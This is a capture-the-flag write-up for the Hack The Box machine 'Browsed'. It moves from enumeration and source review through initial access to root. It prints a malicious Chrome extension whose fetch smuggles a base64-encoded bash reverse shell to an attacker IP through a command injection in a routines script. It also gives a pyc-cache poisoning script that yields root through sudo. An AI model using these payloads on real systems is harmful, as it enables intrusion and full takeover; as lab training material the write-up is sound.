# Browsed

<figure><img src="https://1261483422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTAjoMGhyi4qD4wiYqHYf%2Fuploads%2F5aXXLkBNFbHiwVyJLRFp%2FBrowsed.png?alt=media&#x26;token=b9e9a5e2-510e-4ae7-a172-daa4fe1360fd" alt=""><figcaption></figcaption></figure>

<p align="center"><a href="https://app.hackthebox.com/machines/Browsed">https://app.hackthebox.com/machines/Browsed</a></p>

***

## Enumeration

```bash
sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/Browsed 10.129.244.79

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63
```

```bash
nmap -p 22,80 -sCV -oA nmap/openPorts 10.129.244.79

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_  256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

<http://10.129.244.79/>

<figure><img src="https://1261483422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTAjoMGhyi4qD4wiYqHYf%2Fuploads%2FyjEK1eCIJp7CQDB8KFyc%2FScreenshot%202026-03-31%20144250.png?alt=media&#x26;token=ff8e3f08-8b47-41d2-a34a-126ce2d02f19" alt=""><figcaption></figcaption></figure>

<http://10.129.244.79/upload.php>

<figure><img src="https://1261483422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTAjoMGhyi4qD4wiYqHYf%2Fuploads%2FZ3aVSU4dz5wW6Bq2fhQd%2FScreenshot%202026-03-31%20144402.png?alt=media&#x26;token=70f993d5-427b-4c92-9d50-cbfd7bd29d1b" alt=""><figcaption></figcaption></figure>

<http://10.129.244.79/samples.html>

<figure><img src="https://1261483422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTAjoMGhyi4qD4wiYqHYf%2Fuploads%2FGW21OUpPpsDDacBB9auZ%2FScreenshot%202026-03-31%20174112.png?alt=media&#x26;token=1d5aaba8-fb00-4ac5-9733-9e076d4c588a" alt=""><figcaption></figcaption></figure>

Download a sample

Upload that sample

<figure><img src="https://1261483422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTAjoMGhyi4qD4wiYqHYf%2Fuploads%2FixIUo5hOFOmovioq3rrk%2FScreenshot%202026-03-31%20174029.png?alt=media&#x26;token=c793a18e-f510-4fd0-8d2d-086fce6362d5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1261483422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTAjoMGhyi4qD4wiYqHYf%2Fuploads%2FCVzKZL5QFrhlXAxvlPG8%2FScreenshot%202026-03-31%20174046.png?alt=media&#x26;token=c1529b83-a1bd-4968-ab77-97baade5b8d4" alt=""><figcaption></figcaption></figure>

Copy output to a file `output.txt`

```
<SNIP>
[2826:2844:0331/204019.061368:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/images/pic01.jpg
[2826:2844:0331/204019.062024:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/images/pic02.jpg
[2826:2844:0331/204019.072844:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/css/index.css?v=1.24.5
[2826:2844:0331/204019.077019:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/css/theme-gitea-auto.css?v=1.24.5
[2826:2844:0331/204019.077369:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/img/logo.svg
[2860:2860:0331/204019.082086:VERBOSE1:script_context.cc(150)] Created context:
<SNIP>
```

Add `browsedinternals.htb` to `/etc/hosts` file

<http://browsedinternals.htb/larry/MarkdownPreview/src/branch/main/app.py>

```python
from flask import Flask, request, send_from_directory, redirect
from werkzeug.utils import secure_filename

import markdown
import os, subprocess
import uuid

app = Flask(__name__)
FILES_DIR = "files"

# Ensure the files/ directory exists
os.makedirs(FILES_DIR, exist_ok=True)

@app.route('/')
def index():
    return '''
    <h1>Markdown Previewer</h1>
    <form action="/submit" method="POST">
        <textarea name="content" rows="10" cols="80"></textarea><br>
        <input type="submit" value="Render & Save">
    </form>
    <p><a href="/files">View saved HTML files</a></p>
    '''


@app.route('/submit', methods=['POST'])
def submit():
    content = request.form.get('content', '')
    if not content.strip():
        return 'Empty content. <a href="/">Go back</a>'

    # Convert markdown to HTML
    html = markdown.markdown(content)

    # Save HTML to unique file
    filename = f"{uuid.uuid4().hex}.html"
    filepath = os.path.join(FILES_DIR, filename)
    with open(filepath, 'w') as f:
        f.write(html)

    return f'''
    <p>File saved as <code>{filename}</code>.</p>
    <p><a href="/view/{filename}">View Rendered HTML</a></p>
    <p><a href="/">Go back</a></p>
    '''

@app.route('/files')
def list_files():
    files = [f for f in os.listdir(FILES_DIR) if f.endswith('.html')]
    links = '\n'.join([f'<li><a href="/view/{f}">{f}</a></li>' for f in files])
    return f'''
    <h1>Saved HTML Files</h1>
    <ul>{links}</ul>
    <p><a href="/">Back to editor</a></p>
    '''

@app.route('/routines/<rid>')
def routines(rid):
    # Call the script that manages the routines
    # Run bash script with the input as an argument (NO shell)
    subprocess.run(["./routines.sh", rid])
    return "Routine executed !"

@app.route('/view/<filename>')
def view_file(filename):
    filename = secure_filename(filename)
    if not filename.endswith('.html'):
        return "Invalid filename", 400
    return send_from_directory(FILES_DIR, filename)

# The webapp should only be accessible through localhost
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)
```

<http://browsedinternals.htb/larry/MarkdownPreview/src/branch/main/routines.sh>

```bash
#!/bin/bash

ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"

log_action() {
  echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}

if [[ "$1" -eq 0 ]]; then
  # Routine 0: Clean temp files
  find "$TMP_DIR" -type f -name "*.tmp" -delete
  log_action "Routine 0: Temporary files cleaned."
  echo "Temporary files cleaned."

elif [[ "$1" -eq 1 ]]; then
  # Routine 1: Backup data
  tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
  log_action "Routine 1: Data backed up to $BACKUP_DIR."
  echo "Backup completed."

elif [[ "$1" -eq 2 ]]; then
  # Routine 2: Rotate logs
  find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
  log_action "Routine 2: Log files compressed."
  echo "Logs rotated."

elif [[ "$1" -eq 3 ]]; then
  # Routine 3: System info dump
  uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  log_action "Routine 3: System info dumped."
  echo "System info saved."

else
  log_action "Unknown routine ID: $1"
  echo "Routine ID not implemented."
fi
```

## Exploitation

<https://developer.chrome.com/docs/extensions/reference/permissions-list>

<https://developer.chrome.com/docs/extensions/reference/manifest>

<https://developer.chrome.com/docs/extensions/reference/manifest/background>

`manifest.json`

```json
{
  "manifest_version": 3,
  "name": "Melvin",
  "version": "1.0.0",
  "permissions": [
    "webRequet",
    "background"
  ],
  "background": {
    "service_worker": "background.js"
  }
}
```

`background.js`

```javascript
fetch("http://127.0.0.1:5000/routines/melvin[$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNzcvMTExMSAwPiYxCg== | base64 -d | bash)]")
```

```bash
zip addon.zip manifest.json background.js
```

```bash
nc -lnvp 1111
Listening on 0.0.0.0 1111
```

Upload the extension

```bash
nc -lnvp 1111
Listening on 0.0.0.0 1111
Connection received on 10.129.244.79 53008
bash: cannot set terminal process group (1398): Inappropriate ioctl for device
bash: no job control in this shell
larry@browsed:~/markdownPreview$
```

[interactive-shell](https://estebanzarate.gitbook.io/hackache/linux/interactive-shell "mention")

```bash
larry@browsed:~/markdownPreview$ cd
larry@browsed:~$ ls
markdownPreview  user.txt
larry@browsed:~$ cat user.txt
```

## User flag

{% hint style="success" %}
545\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*b37
{% endhint %}

## Privilege Escalation

<pre class="language-bash"><code class="lang-bash"><strong>larry@browsed:~$ sudo -l
</strong>Matching Defaults entries for larry on browsed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py
</code></pre>

```bash
larry@browsed:~$ cd /opt/extensiontool/
larry@browsed:/opt/extensiontool$ ls -la
total 24
drwxr-xr-x 4 root root 4096 Dec 11 07:54 .
drwxr-xr-x 4 root root 4096 Aug 17  2025 ..
drwxrwxr-x 5 root root 4096 Mar 23  2025 extensions
-rwxrwxr-x 1 root root 2739 Mar 27  2025 extension_tool.py
-rw-rw-r-- 1 root root 1245 Mar 23  2025 extension_utils.py
drwxrwxrwx 2 root root 4096 Mar 31 23:20 __pycache__
```

```bash
larry@browsed:/opt/extensiontool$ cat extension_tool.py 
#!/usr/bin/python3.12
import json
import os
from argparse import ArgumentParser
from extension_utils import validate_manifest, clean_temp_files
import zipfile

EXTENSION_DIR = '/opt/extensiontool/extensions/'

def bump_version(data, path, level='patch'):
    version = data["version"]
    major, minor, patch = map(int, version.split('.'))
    if level == 'major':
        major += 1
        minor = patch = 0
    elif level == 'minor':
        minor += 1
        patch = 0
    else:
        patch += 1

    new_version = f"{major}.{minor}.{patch}"
    data["version"] = new_version

    with open(path, 'w', encoding='utf-8') as f:
        json.dump(data, f, indent=2)
    
    print(f"[+] Version bumped to {new_version}")
    return new_version

def package_extension(source_dir, output_file):
    temp_dir = '/opt/extensiontool/temp'
    if not os.path.exists(temp_dir):
        os.mkdir(temp_dir)
    output_file = os.path.basename(output_file)
    with zipfile.ZipFile(os.path.join(temp_dir,output_file), 'w', zipfile.ZIP_DEFLATED) as zipf:
        for foldername, subfolders, filenames in os.walk(source_dir):
            for filename in filenames:
                filepath = os.path.join(foldername, filename)
                arcname = os.path.relpath(filepath, source_dir)
                zipf.write(filepath, arcname)
    print(f"[+] Extension packaged as {temp_dir}/{output_file}")

def main():
    parser = ArgumentParser(description="Validate, bump version, and package a browser extension.")
    parser.add_argument('--ext', type=str, default='.', help='Which extension to load')
    parser.add_argument('--bump', choices=['major', 'minor', 'patch'], help='Version bump type')
    parser.add_argument('--zip', type=str, nargs='?', const='extension.zip', help='Output zip file name')
    parser.add_argument('--clean', action='store_true', help="Clean up temporary files after packaging")
    
    args = parser.parse_args()

    if args.clean:
        clean_temp_files(args.clean)

    args.ext = os.path.basename(args.ext)
    if not (args.ext in os.listdir(EXTENSION_DIR)):
        print(f"[X] Use one of the following extensions : {os.listdir(EXTENSION_DIR)}")
        exit(1)
    
    extension_path = os.path.join(EXTENSION_DIR, args.ext)
    manifest_path = os.path.join(extension_path, 'manifest.json')

    manifest_data = validate_manifest(manifest_path)
    
    # Possibly bump version
    if (args.bump):
        bump_version(manifest_data, manifest_path, args.bump)
    else:
        print('[-] Skipping version bumping')

    # Package the extension
    if (args.zip):
        package_extension(extension_path, args.zip)
    else:
        print('[-] Skipping packaging')


if __name__ == '__main__':
    main()
```

```bash
larry@browsed:/opt/extensiontool$ cat extension_utils.py 
import os
import json
import subprocess
import shutil
from jsonschema import validate, ValidationError

# Simple manifest schema that we'll validate
MANIFEST_SCHEMA = {
    "type": "object",
    "properties": {
        "manifest_version": {"type": "number"},
        "name": {"type": "string"},
        "version": {"type": "string"},
        "permissions": {"type": "array", "items": {"type": "string"}},
    },
    "required": ["manifest_version", "name", "version"]
}

# --- Manifest validate ---
def validate_manifest(path):
    with open(path, 'r', encoding='utf-8') as f:
        data = json.load(f)
    try:
        validate(instance=data, schema=MANIFEST_SCHEMA)
        print("[+] Manifest is valid.")
        return data
    except ValidationError as e:
        print("[x] Manifest validation error:")
        print(e.message)
        exit(1)

# --- Clean Temporary Files ---
def clean_temp_files(extension_dir):
    """ Clean up temporary files or unnecessary directories after packaging """
    temp_dir = '/opt/extensiontool/temp'

    if os.path.exists(temp_dir):
        shutil.rmtree(temp_dir)
        print(f"[+] Cleaned up temporary directory {temp_dir}")
    else:
        print("[+] No temporary files to clean.")
    exit(0)
```

`/tmp/evil_module.py`

```python
def validate_manifest(path):
	import os
	os.system("/bin/bash")


def clean_temp_files(path):
	import os
	os.system("/bin/bash")
```

`/tmp/create_header.py`

```python
def transplant_header(good_pyc, evil_pyc, output_pyc):
	with open(good_pyc, 'rb') as f:
		good_header = f.read(16)
	with open(evil_pyc, 'rb') as f:
		evil_data = f.read()

	new_pyc = good_header + evil_data[16:]
	import os
	os.system(f"rm {output_pyc}")

	with open(output_pyc, 'wb') as f:
		f.write(new_pyc)

	print(f"[+] Transplanted header from {good_pyc} into {evil_pyc}, saved as {output_pyc}")


transplant_header('/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc','/tmp/__pycache__/evil_module.cpython-312.pyc','/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc')
```

```bash
larry@browsed:/opt/extensiontool$ python3 -m py_compile /tmp/evil_module.py
```

```bash
larry@browsed:/opt/extensiontool$ sudo /opt/extensiontool/extension_tool.py 
[X] Use one of the following extensions : ['Fontify', 'Timer', 'ReplaceImages']
```

```bash
larry@browsed:/opt/extensiontool$ python3 /tmp/create_header.py 
rm: remove write-protected regular file '/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc'? y
[+] Transplanted header from /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc into /tmp/__pycache__/evil_module.cpython-312.pyc, saved as /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
larry@browsed:/opt/extensiontool$ sudo /opt/extensiontool/extension_tool.py --ext Fontify
root@browsed:/opt/extensiontool# cd /root
root@browsed:~# ls
root.txt  scripts
root@browsed:~# cat root.txt
```

## Root flag

{% hint style="success" %}
795\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*fb7
{% endhint %}
